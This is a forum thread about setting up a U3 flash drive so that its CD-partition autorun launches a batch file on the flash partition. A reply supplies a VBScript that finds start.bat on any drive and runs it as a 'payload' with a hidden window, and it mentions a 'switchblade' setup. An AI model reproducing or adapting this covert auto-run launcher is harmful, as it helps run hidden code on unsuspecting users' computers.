Alrighty im making a iso for my U3 drive and i need to tell the autorun.inf in the cd partion to call Start.bat on the Flash Partian how whould i do this.

(Its probly realy easy i just didnt think of it  :P)

Easiest way to do it is a quick vbs

Set objFSO = CreateObject("Scripting.FileSystemObject") 
Set objShell = CreateObject("Wscript.Shell")
Set colDrives = objFSO.Drives
On Error Resume Next

'Detect which drive the payload is on
For Each objDrive in colDrives
    'ignore floppy drives - reserved by BIOS if they don't exist
    If UCase(objDrive.DriveLetter) <> "A" And UCase(objDrive.DriveLetter) <> "B" Then
        'Search for Start.bat in the root of each drive
        If objFSO.FileExists(objDrive.DriveLetter & ":start.bat") Then
            'Set strFD to the location of start.bat
            strFD = objDrive.Driveletter & ":start.bat"
        End If
    End if
Next

'Run Payload
objShell.Run strFD, 0, False

'Run Launchpad
objShell.Run ".LaunchU3.exe -a", 0, False

You will probably need to customize this a bit because I dont know the structure of your payload but thats the basic structure of what you will need. Obviously if you dont have the launchpad as part of your switchblade you would remove the line that starts it.

With a U3 flash drive you just put the autorun.inf on the CD partition of the flash drive. This will autorun the start.bat in the flash partition similar to how a CD automatically starts an installation program. This will then open command prompt which will copy the files to the flash partition of the drive. I'm sorry if that is hard to understand. I'm not very good at explaining things and I myself am very new to this.

That's what someone told me. Is that true? If so, that's your answer.

umm to answer your last ?. it is true but the pc will ask u what u want to do and its not as fast as the cd drive partition way.

and i used a batch script to do tht and told it to saerch for my file in drives A-Z

In short yes it is possible to do it that way, but you would be over complicating things.
